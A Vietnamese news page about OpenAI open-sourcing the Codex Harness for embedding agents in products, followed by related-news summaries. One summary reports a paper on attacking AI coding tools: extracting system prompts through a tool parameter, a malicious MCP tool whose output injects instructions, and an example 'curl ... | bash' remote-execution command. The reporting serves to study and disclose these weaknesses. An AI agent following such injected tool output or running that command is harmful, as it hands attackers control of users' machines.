Chấn động, OpenAI mở mã nguồn toàn diện Codex Harness

marsbitXuất bản vào 2026-08-21Cập nhật gần nhất vào 2026-08-21

Tóm tắt

Ngày hôm qua, OpenAI đã công bố mở rộng nền tảng bằng cách phát hành mã nguồn mở hoàn toàn khung lõi (Harness) của Codex. Động thái này không phải là một mô hình mới, nhưng có tác động lớn hơn đến nhà phát triển so với các bản cập nhật mô hình thuần túy. OpenAI nhấn mạnh rằng trải nghiệm tương tác AI thông qua một "hộp thoại chat chung" duy nhất là quá hạn chế. Thay vào đó, với Codex Harness, các nhà phát triển có thể nhúng trực tiếp vòng lặp tác nhân AI mạnh mẽ vào sản phẩm, công cụ kỹ thuật, bảng điều khiển vận hành hoặc phần mềm chuyên dụng của riêng họ. Điều này cho phép AI hoạt động như một trợ lý nền, trong khi ứng dụng chủ vẫn kiểm soát giao diện, dữ liệu, ngữ cảnh và các quy trình phê duyệt. Harness là hệ thống thực thi phức tạp quản lý toàn bộ vòng đời của một tác nhân AI: hiểu nhiệm vụ, duy trì bộ nhớ, gọi công cụ, xử lý lỗi và tích hợp phê duyệt của con người. OpenAI đã chứng minh rằng thiết kế Harness tốt có thể cải thiện đáng kể hiệu suất mô hình. Trong một bài kiểm tra, việc tinh chỉnh Harness đã giúp điểm số của mô hình tăng từ 13.3% lên 38.3% đồng thời giảm 6 lần lượng token đầu ra. Bộ công cụ mã nguồn mở được cung cấp dưới giấy phép Apache-2.0, bao gồm: 1. Công cụ CLI `codex exec` để chạy quy trình tự động. 2. Codex SDK chính thức (TypeScript/Python) để lập trình điều khiển tác nhân. 3. `codex app-server`, động cơ lõi cho phép tích hợp sâu vào sản phẩm, hỗ trợ trạng thái hội thoại liên tục, truyền phát sự kiện và tích hợp công cụ tùy chỉnh. Các trường ...

Ngay hôm qua, OpenAI lại hoàn thành một lần nâng cấp.

Đây không phải là việc phát hành một mô hình hoàn toàn mới, nhưng tầm ảnh hưởng của nó đối với các nhà phát triển, thậm chí còn vượt qua cả sự lặp lại của chính mô hình.

OpenAI chính thức tuyên bố: sẽ mở mã nguồn toàn bộ khung lõi (Harness) của Codex nổi tiếng!

Nghĩa là, OpenAI đem động cơ điều khiển các AI agent đỉnh cao của chính mình, miễn phí tặng cho mọi người.

Các nhà phát triển không còn phải nhồi nhét quy trình nghiệp vụ vào một hộp thoại chat thông thường nữa!

Bạn có thể trực tiếp khảm vòng lặp AI agent mạnh mẽ nhất vào sản phẩm, công cụ kỹ thuật, bảng điều khiển vận hành, thậm chí là phần mềm báo cáo tài chính nhàm chán nhất của riêng bạn.

Chủ tịch OpenAI Greg Brockman đã phấn khích chia sẻ lại trên X nói:"Codex có thể điều khiển nhiều hơn chỉ là công cụ lập trình!"

Bạn có thể trực tiếp xây dựng sản phẩm của riêng mình trên Codex Harness.

Từ đây, sân chơi của bạn bạn làm chủ, giao diện, dữ liệu, quyền phê duyệt đều là của bạn, AI chỉ chịu trách nhiệm đóng vai "trâu ngựa" ở tầng dưới.

"Hành động lớn về mở mã nguồn" lần này của OpenAI, sẽ hoàn toàn lật đổ mô hình phát triển phần mềm trong tương lai như thế nào?

Thiên hạ khổ "hộp thoại chat thông thường" đã lâu

Hồi tưởng lại, hiện tại chúng ta đang sử dụng AI như thế nào?

Cho dù là viết code, phân tích dữ liệu, hay xử lý khiếu nại của khách hàng, động tác tiêu chuẩn dường như đều là: mở một trang web/thanh bên, đối diện với một hộp nhập liệu chat đơn điệu, gõ một đoạn mô tả bối cảnh, sau đó mong đợi AI đưa ra câu trả lời hoàn hảo.

Nếu câu trả lời không đúng, tiếp tục "kéo co" trong hộp thoại chat.

Hầu hết mọi người biết đến Codex thông qua App, giao diện dòng lệnh (CLI) hoặc tiện ích mở rộng IDE.

Nhưng trong mắt của OpenAI, trải nghiệm tương tác đơn điệu như vậy thật quá hẹp hòi!

OpenAI đã chỉ đúng vào trọng tâm trong blog chính thức:

Thay vì yêu cầu mọi đội ngũ đều phải di chuyển quy trình làm việc vốn quen thuộc của họ, ép vào một trợ lý code thông thường, chi bằng đem Agent trực tiếp đưa vào những phần mềm được thiết kế xung quanh công việc thực tế.

Rốt cuộc, nhà phân tích an ninh nhìn vào hàng đợi cảnh báo, trạng thái dịch vụ bị ảnh hưởng; kỹ sư hỗ trợ khách hàng nhìn vào lịch sử tài khoản, log sản phẩm; quản lý sản phẩm nhìn vào bảng yêu cầu.

Đối với những người lao động thực sự này, quan trọng không phải là "hộp thoại chat" đó, mà là bảng điều khiển nghiệp vụ trước mắt họ. Sự tồn tại của giao diện là có ý nghĩa, bản thân nó chính là "ngữ cảnh" quan trọng nhất.

Giờ đây, cùng với việc mở mã nguồn Codex Harness, cuộc cách mạng "chống vỏ bọc" này, chính thức bắt đầu.

Tiết lộ Harness: "Bộ khung ngoài" mạnh nhất của AI Agent

Vậy, nhân vật chính của lần mở mã nguồn này - Harness, rốt cuộc là gì?

Nhiều người hiểu lầm rằng, một AI Agent mạnh mẽ = mô hình tốt + Prompt tốt.

Sai lầm lớn!

Một Agent thông minh thực sự có thể chạy trong nghiệp vụ, cần một hệ thống thực thi tầng dưới vô cùng phức tạp.

Nó cần hiểu nhiệm vụ, duy trì trí nhớ trong cuộc đối thoại dài, xem xét thông tin liên quan, thành thạo gọi các công cụ khác nhau, hiển thị tiến độ ra bên ngoài, xử lý sự cố và thất bại, dừng lại đúng lúc để yêu cầu sự phê duyệt của con người, cuối cùng mới trả về kết quả hữu ích.

Hệ thống "thực thi" và "vòng lặp Agent" này đảm nhận tất cả công việc vặt vãnh, chính là Harness.

Lần mở mã nguồn này, OpenAI đã chứng minh cho thế giới bên ngoài một điều:Thiết kế Harness tốt, thậm chí có thể làm cho mô hình thay đổi hoàn toàn.

OpenAI đưa ra dữ liệu rất thuyết phục, để chứng minh thiết kế harness quan trọng như thế nào.

Trong bài kiểm tra chuẩn ARC-AGI-3 cực kỳ khó, họ chỉ tiến hành hai điều chỉnh then chốt đối với Harness - lưu giữ suy luận và nén ngữ cảnh.

Kết quả, điểm số của mô hình GPT-5.6 Sol bất ngờ tăng vọt từ 13.3% lên 38.3%! Đáng kinh ngạc hơn, số lượng Token đầu ra thực sự giảm sáu lần!

Nghĩa là, dưới sự hỗ trợ của Harness, AI không chỉ trở nên thông minh hơn ba lần, mà còn giúp bạn tiết kiệm chi phí gọi API khổng lồ.

Sự thực chứng minh, năng lực của mô hình tuy quan trọng, nhưng cách quản lý mô hình này (tức thiết kế của Harness), mới là chìa khóa quyết định biểu hiện cuối cùng của Agent.

Ba thành phần mở mã nguồn, tích hợp không rào cản

Để các nhà phát triển thực sự có thể làm được "lấy về là dùng", OpenAI dưới giấy phép Apache-2.0, một mạch phát hành ba thành phần mở mã nguồn hoàn chỉnh.

Chỉ cần đến kho lưu trữ openai/codex trên GitHub, bạn sẽ mở khóa kho vũ khí mạnh mẽ này.

https://github.com/openai/codex

Đầu tiên là công cụ CLI codex exec, nó có thể chạy pipeline tự động hóa.

Nếu bạn chỉ cần để AI chạy một kịch bản, thực thi một nhiệm vụ CI (tích hợp liên tục), hoặc chạy một nhiệm vụ nền một lần, trực tiếp dùng CLI.

Nó có thể chạy một luồng công việc Agent có ranh giới, và trả về kết quả đầu ra có cấu trúc. Đơn giản, mạnh mẽ, hiệu quả.

Thứ hai, chính là Codex SDK chính thức, nó là cần điều khiển tối thượng của lập trình viên.

Nếu bạn đang viết ứng dụng, cần dùng code để khởi động, khôi phục hoặc truyền trực tuyến nhiệm vụ Codex, SDK chính thức (hỗ trợ TypeScript / Python) cung cấp giao diện lập trình trực tiếp.

Bạn có thể dùng code để kiểm soát chính xác vòng đời của thread và nhiệm vụ.

Thứ ba, cũng là ngôi sao sáng nhất trong lần mở mã nguồn này, chính là Codex app-server. Nó là động cơ cốt lõi hòa nhập hoàn toàn vào sản phẩm.

Khi Agent cần trở thành một phần của sản phẩm bạn, app-server là lựa chọn tốt nhất. Nó thông qua ghi lại giao thức client chi tiết (JSON-RPC), để ứng dụng của bạn có thể kết nối đến tiến trình Codex cục bộ.

Bạn có thể dùng nó:

Duy trì trạng thái đối thoại bền vững;

Truyền sự kiện trực tuyến (xem AI đang làm gì theo thời gian thực);

Gián đoạn công việc của AI giữa chừng;

Tiết lộ công cụ của chính ứng dụng bạn cho AI sử dụng;

Xử lý yêu cầu phê duyệt của con người (Human-in-the-loop).

Như nhà phát triển nổi tiếng @ClusterProtocol đã cảm thán:

Tách giao diện phê duyệt frontend, khỏi vòng lặp thực thi tầng dưới, khiến việc nhúng Agent vào bảng điều khiển nghiệp vụ trở nên đơn giản chưa từng có!

Tuyệt đối không chỉ viết code! "Vũ khí hạt nhân hiệu suất" của mọi ngành nghề

Nếu bạn nghĩ Codex chỉ dùng để viết code, vậy bạn đã sai lầm lớn.

Như Brockman đã nói, Codex có thể điều khiển nhiều hơn chỉ là công cụ lập trình.

Hãy cùng xem những người đầu tiên ăn cua, đang dùng nó để tạo ra kỳ tích gì:

Ví dụ 1: "Trợ thủ thần cấp" kê khai thuế

Bạn có thể tưởng tượng AI đi kê khai thuế không? Công việc tài chính sợ nhất là sai sót, tỷ lệ dung sai cực thấp.

Đối tác Thrive Holdings và Crete sử dụng Harness mở mã nguồn này, nhúng nó vào luồng công việc chuẩn bị thuế chuyên nghiệp.

Hệ thống không chỉ xử lý logic thuế phức tạp, mà còn hoàn hảo kết hợp phản hồi của chuyên viên thuế.

Kết quả rất chấn động, dự án thí điểm này thành công xử lý cao đến 7,000 bản kê khai, và rút ngắn thời gian chuẩn bị thuế cứng khoảng một phần ba!

Đây chính là sức mạnh to lớn của việc nhúng AI vào công cụ chuyên ngành dọc.

Ví dụ 2: Quản gia đám mây của gã khổng lồ Cisco

Gã khổng lồ công nghệ Cisco (Tư Khoa) sử dụng Codex SDK xây dựng App Builder trong nền tảng điều khiển đám mây của họ.

Hiện tại, khách hàng của Cisco có thể trực tiếp sử dụng ngôn ngữ tự nhiên để tạo ứng dụng tùy chỉnh, còn logic chuyển đổi tầng dưới phức tạp, tất cả đều do Codex Harness ở hậu trường im lặng giải quyết.

Mẫu trình diễn chính thức: Bảng điều khiển logistics "Relay"

Để mọi người hiểu trực quan hơn, OpenAI chính thức trình diễn một ứng dụng bảng điều khiển vận hành logistics ảo tên là Relay.

Trong bảng điều khiển này, không có bất kỳ "hộp thoại chat ChatGPT" nào làm người dùng mất tập trung.

1. Biến đổi tương tác lớn: Người dùng không cần viết Prompt từ số không. Họ chỉ cần chọn một đơn hàng bị trì hoãn, nhấp vào "so sánh phương án khôi phục".

2. Ngữ cảnh tiếp nối liền mạch: Ứng dụng sẽ tự động đưa chi tiết đơn hàng hiện tại, dữ liệu logistics làm ngữ cảnh cho AI.

3. Tích hợp MCP: Codex sẽ tự động gọi công cụ MCP tự có của ứng dụng, lấy dữ liệu vận hành thời gian thực mới nhất.

4. Con người kiểm tra: Agent phân tích ra phương án đặt lại cabin tối ưu nhất, phải bật hộp phê duyệt. Chỉ khi nhân viên nghiệp vụ nhấp "đồng ý", AI mới thực thi thao tác ghi.

5. Đồng bộ trạng thái: Sau khi thao tác hoàn thành, bảng điều khiển nghiệp vụ tự động làm mới.

Trong quá trình này, Harness đảm nhận vòng lặp Agent, duy trì trí nhớ, tương tác công cụ và phản hồi thời gian thực; còn sản phẩm của bạn, vẫn nắm quyền kiểm soát bảng điều khiển, bản ghi dữ liệu và quyền kiểm soát thuộc về nó. Đây mới là "cộng tác người-máy" thực sự.

Tái định hình ranh giới, trả lại quyền lực và linh hồn cho nhà phát triển ứng dụng

Tại sao chúng ta nói lần mở mã nguồn này đã thay đổi mô hình xây dựng phần mềm?

Bởi vì trong một năm qua, nhiều nhà phát triển rơi vào vòng luẩn quẩn "vỏ bọc". Mọi người đều đang làm ChatBot, sản phẩm ngày càng giống nhau, hào thành ngày càng nông.

Codex với tư cách nền tảng mở cửa, đã cho nhà phát triển quyền kiểm soát tối cao ở ba chiều:

Codex cho người dùng quyền kiểm soát giao diện tuyệt đối, đừng bắt người dùng thích ứng với hộp thoại chat nữa!

Hãy để người dùng của bạn tiếp tục sử dụng bảng điều khiển, trình soạn thảo, bản đồ và danh sách quen thuộc của họ. AI nên là một trợ thủ vô hình, chứ không phải là nhân vật chính chiếm màn hình.

Quyền kiểm soát ngữ cảnh và công cụ tuyệt đối khiến bạn yên tâm mở hệ thống cốt lõi, tài liệu cơ mật, API nội bộ của công ty, thông qua dịch vụ MCP trực tiếp cho Agent.

AI không còn là "người ngoài không biết quy chế công ty", mà là chuyên gia tinh thông hệ thống nghiệp vụ của bạn.

Cuối cùng, quyền kiểm soát ranh giới vận hành và an ninh tuyệt đối, điều này vô cùng quan trọng đối với ứng dụng cấp doanh nghiệp. Ứng dụng chủ có thể quyết định Agent chạy ở đâu, có thể truy cập tệp gì.

Quan trọng nhất, bạn có thể thiết lập những hành động nguy hiểm nào (như sửa đổi cơ sở dữ liệu, gửi email cho khách hàng) phải trải qua nhấp chuột của con người mới được thông qua.

Mô hình "quy tắc nghiệp vụ frontend thuộc về bạn, vòng lặp Agent tầng dưới thuộc về OpenAI" này, hoàn toàn thông suốt kilômét cuối cùng của AI hạ cánh vào tình huống cấp doanh nghiệp.

Giấy phép Apache-2.0 của Codex harness, có nghĩa là bất kỳ ai cũng có thể sửa đổi và thương mại hóa.

Thử thách thực sự là: Có bao nhiêu nhà phát triển sẽ từ bỏ hộp thoại chat thoải mái, tháo rời Agent thành linh kiện lắp vào sản phẩm của riêng mình.

Codex harness đằng sau, thể hiện sâu sắc triết lý sản phẩm này——

Điều chúng ta làm, tuyệt đối không phải dùng một hộp thoại chat vạn năng để tiêu diệt tất cả giao diện chuyên nghiệp; mà là lắp một bộ não thông minh cho những giao diện này.

Khi hộp thoại chat thông thường biến mất, ứng dụng AI nguyên bản sẽ bùng nổ phát triển.

Thời đại không rào cản của AI Agent, đã đến rồi.

Tài liệu tham khảo:

https://x.com/gdb/status/2090246288478814281?s=20https://developers.openai.com/blog/codex-as-a-platform

Bài viết từ tài khoản công chúng WeChat "Tân Trí Nguyên", tác giả: ASI Khải Thị Lục

Câu hỏi Liên quan

QOpenAI vừa công bố điều gì liên quan đến Codex?

AOpenAI đã chính thức công bố mã nguồn mở toàn bộ khung lõi (Harness) của Codex, cho phép các nhà phát triển tích hợp động cơ AI mạnh mẽ này trực tiếp vào sản phẩm và công cụ của riêng họ.

QHarness của Codex là gì và tại sao nó quan trọng?

AHarness là hệ thống thực thi và vòng lặp tác nhân AI phức tạp, quản lý việc hiểu nhiệm vụ, duy trì bộ nhớ, gọi công cụ, xử lý lỗi và yêu cầu phê duyệt. Thiết kế Harness tốt có thể cải thiện đáng kể hiệu suất mô hình, như ví dụ về việc tăng điểm số kiểm tra từ 13.3% lên 38.3% và giảm lượng token đầu ra.

QBa thành phần chính được OpenAI phát hành mã nguồn mở là gì?

ABa thành phần chính được phát hành dưới giấy phép Apache-2.0 là: 1. Công cụ CLI `codex exec` để chạy các pipeline tự động. 2. Codex SDK chính thức (TypeScript/Python) để lập trình điều khiển tác vụ. 3. Codex app-server, động cơ lõi để nhúng Agent liền mạch vào sản phẩm với các tính năng như duy trì trạng thái hội thoại, truyền sự kiện và xử lý phê duyệt.

QBài viết đưa ra những ví dụ nào về ứng dụng của Codex Harness ngoài viết mã?

ACác ví dụ bao gồm: 1. Hỗ trợ khai thuế của Thrive Holdings và Crete, xử lý 7,000 tờ khai và giảm thời gian chuẩn bị thuế khoảng 1/3. 2. Cisco sử dụng Codex SDK trong nền tảng đám mây để khách hàng tạo ứng dụng tùy chỉnh bằng ngôn ngữ tự nhiên. 3. Mẫu ứng dụng vận hành hậu cần ảo 'Relay' cho thấy cách tích hợp vào bảng điều khiển nghiệp vụ.

QViệc mở nguồn Codex Harness thay đổi mô hình phát triển phần mềm như thế nào theo bài viết?

ANó chuyển đổi mô hình từ việc bắt người dùng thích ứng với một 'hộp chat' chung chung, sang việc nhúng AI như một bộ não thông minh vào giao diện và quy trình làm việc chuyên biệt vốn có của ứng dụng. Điều này trao cho nhà phát triển quyền kiểm soát tối cao đối với giao diện, ngữ cảnh, công cụ và ranh giới vận hành, thúc đẩy sự phát triển của các ứng dụng AI nguyên bản thay vì chỉ tạo ra các chatbot 'vỏ bọc'.

Nội dung Liên quan

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit1 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit1 phút trước

Giải mã từ Bernstein: Samsung tăng tốc mở rộng sản lượng HBM4, doanh thu Q3 có thể vượt SK Hynix

Dữ liệu xuất khẩu bộ nhớ nhiều chip của Hàn Quốc sang Đài Loan và Malaysia vào tháng 7 cho thấy nhu cầu HBM vẫn mạnh mẽ, nhưng có sự phân hóa giữa hai nhà sản xuất. Theo phân tích của Bernstein, xuất khẩu từ Chungcheongnam-do (nơi đặt cơ sở đóng gói HBM của Samsung) đạt 2,2 tỷ USD trong tháng 7, tăng 122% so với tháng 4 và giá trị đơn vị tăng gấp đôi. Điều này cho thấy tỷ trọng HBM4 - có giá trị cao hơn - của Samsung đang tăng nhanh. Mô hình dự báo doanh thu HBM quý III của Samsung có thể đạt khoảng 12 tỷ USD, cao hơn 30% so với dự báo trước đó. Trong khi đó, xuất khẩu liên quan đến SK Hynix (từ Chungcheongbuk-do và Icheon) lại giảm trong tháng 7. Mô hình cơ sở dự báo doanh thu quý III của họ có thể chỉ ở mức 5,6 tỷ USD, thấp hơn đáng kể so với kỳ vọng. Tuy nhiên, do SK Hynix thường tập trung giao hàng vào cuối quý, kết quả cuối cùng vẫn còn phụ thuộc vào dữ liệu tháng 8 và tháng 9. Báo cáo cũng lưu ý rằng giá HBM không tăng theo đà của DRAM truyền thống, mà biến động lợi nhuận phụ thuộc nhiều hơn vào tỷ trọng sản phẩm thế hệ mới và hợp đồng khách hàng. Việc đàm phán hợp đồng HBM cho năm 2027 có thể là yếu tố định giá quan trọng tiếp theo. Tóm lại, dữ liệu tháng 7 củng cố lập luận về việc Samsung đang đẩy nhanh tốc độ trong chu kỳ HBM4, nhưng chưa đủ để khẳng định sự đảo ngược thị phần lâu dài. Cần theo dõi dữ liệu của hai tháng tiếp theo và quá trình tăng sản lượng HBM4 của SK Hynix để có bức tranh rõ ràng hơn.

marsbit1 phút trước

Giải mã từ Bernstein: Samsung tăng tốc mở rộng sản lượng HBM4, doanh thu Q3 có thể vượt SK Hynix

marsbit1 phút trước

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

Nvidia công bố bảo lãnh tài chính 105 tỷ USD cho việc xây dựng trung tâm dữ liệu của OpenAI tại Ohio, đánh dấu sự chuyển hướng của ngành AI từ cuộc đua chip sang cuộc chiến giành cơ sở hạ tầng vật chất và năng lượng. Nhà sản xuất chip chấp nhận rủi ro về thuê và giá trị còn lại của thiết bị để đảm bảo vị trí độc quyền cho các hệ thống của mình tại một địa điểm công suất 4,25 GW. Các gã khổng lồ công nghệ như Nvidia giờ đây phải đóng vai trò bảo lãnh tài chính và đồng đầu tư vào các dự án xây dựng quy mô lớn, ngoài việc phát triển phần cứng. Bảo lãnh này được cấu trúc như một biện pháp phòng ngừa rủi ro vỡ nợ chứ không phải tài trợ trực tiếp. Nvidia cũng đầu tư 1,5 tỷ USD vào SB Energy để phát triển hạ tầng năng lượng cho dự án, phần lớn dựa vào khí đốt tự nhiên. Để giảm sự phụ thuộc, các công ty AI hàng đầu như OpenAI và Anthropic đang đa dạng hóa nhà cung cấp, ký kết thỏa thuận với cả AMD. Đồng thời, Nvidia hợp tác với các quỹ đầu tư để huy động hơn 500 tỷ USD vốn bên ngoài, sẵn sàng hỗ trợ giá trị còn lại của thiết bị. Sự kiện này minh họa một sự thay đổi cơ bản: lợi thế cạnh tranh trong AI không còn chỉ nằm ở chip mà ở khả năng đảm bảo không gian vật lý, năng lượng và ổn định tài chính. Tương lai của ngành sẽ phụ thuộc vào sự kết hợp giữa đổi mới công nghệ và năng lực hạ tầng thực tế.

cryptonews.ru11 phút trước

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

cryptonews.ru11 phút trước

Armstrong: Trong mọi trường hợp, tình hình tiền điện tử sẽ sáng tỏ khi cuộc bỏ phiếu tại Thượng viện đến gần

Giám đốc điều hành Coinbase Brian Armstrong đã đăng một thông điệp trên X để xoa dịu lo ngại trước cuộc bỏ phiếu quan trọng về luật tiền mã hóa vào tháng tới. Ông tuyên bố "Đạo luật CLARITY" (Đạo luật Minh bạch Thị trường Tài sản Kỹ thuật số) sẽ đạt được sự rõ ràng theo một trong hai cách: hoặc được Thượng viện thông qua với hơn 60 phiếu vào ngày 15/9, hoặc thông qua một bộ quy tắc mới từ Ủy ban Giao dịch Hàng hóa Tương lai (CFTC) và Ủy ban Chứng khoán và Giao dịch (SEC) vào ngày 16/9. Dự luật đã được Hạ viện thông qua vào tháng 7/2025 nhưng bị trì hoãn tại Thượng viện. Lãnh đạo đa số Thượng viện John Thune cần ít nhất 7 phiếu từ đảng Dân chủ để đạt ngưỡng 60 phiếu chấm dứt tranh luận. Nếu không đạt, hy vọng thông qua dự luật trong năm nay sẽ bị ảnh hưởng nghiêm trọng. Đảng Dân chủ muốn siết chặt các quy định về đạo đức trong khi đảng Cộng hòa ưu tiên sự rõ ràng pháp lý cho ngành. Song song đó, CFTC và SEC đã có kế hoạch dự phòng. CFTC đang tạo một hạng mục đăng ký "thị trường tài sản mã hóa", và cả hai cơ quan đang thực hiện "Dự án Crypto" để phân loại tài sản số, cho thấy họ không chờ đợi Quốc hội. Lạc quan về sự rõ ràng pháp lý, Armstrong cũng đưa ra dự đoán táo bạo rằng Bitcoin có khả năng cao đạt mức 300.000 - 400.000 USD vào năm 2030, nhờ việc áp dụng thể chế gia tăng, nguồn cung cố định và môi trường pháp lý được cải thiện. Còn 15 tuần nữa trước ngày 15/9, quan điểm "bất kỳ kết quả nào" của Armstrong cho ngành công nghiệp lý do để mong đợi những thay đổi sớm.

cryptonews.ru11 phút trước

Armstrong: Trong mọi trường hợp, tình hình tiền điện tử sẽ sáng tỏ khi cuộc bỏ phiếu tại Thượng viện đến gần

cryptonews.ru11 phút trước

Giao dịch

Giao ngay
活动图片